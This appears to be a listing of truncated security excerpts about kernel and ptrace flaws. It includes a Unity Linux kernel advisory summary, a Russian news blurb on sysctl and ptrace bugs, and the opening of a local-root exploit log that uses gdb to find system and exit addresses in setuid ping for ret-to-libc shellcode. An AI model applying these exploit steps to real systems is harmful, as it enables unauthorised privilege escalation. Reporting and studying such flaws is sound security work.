Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-001148)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-001148 advisory. The Linux Kernel version 3.18 contains a dangerous feature vulnerability in modifyuserhwbreakpoint that can result in crash and possibly memory corruption. This atta...

ptrace suids local root.txt

bash-2.05a$ uname -a QNX muh 6.3.2 2006/03/16-14:19:50EST x86pc x86 bash-2.05a$ gdb -q /usr/bin/ping we use some ret-to-libc-type-shellcode gdb p system $1 = text variable, no debug info 0xb031897c system gdb p exit $2 = text variable, no debug info 0xb0321ff8 exit gdb q bash-2.05a$ export...

Проблемы в linux kernel (sysctl и ptrace)

Отрицательное смещение в вызове sysctl позволеят обращаться к памяти ядра, кроме того через ptrace можно изменить выполнение setuid процесса. На intel-архитектурах кроме того возможет DoS...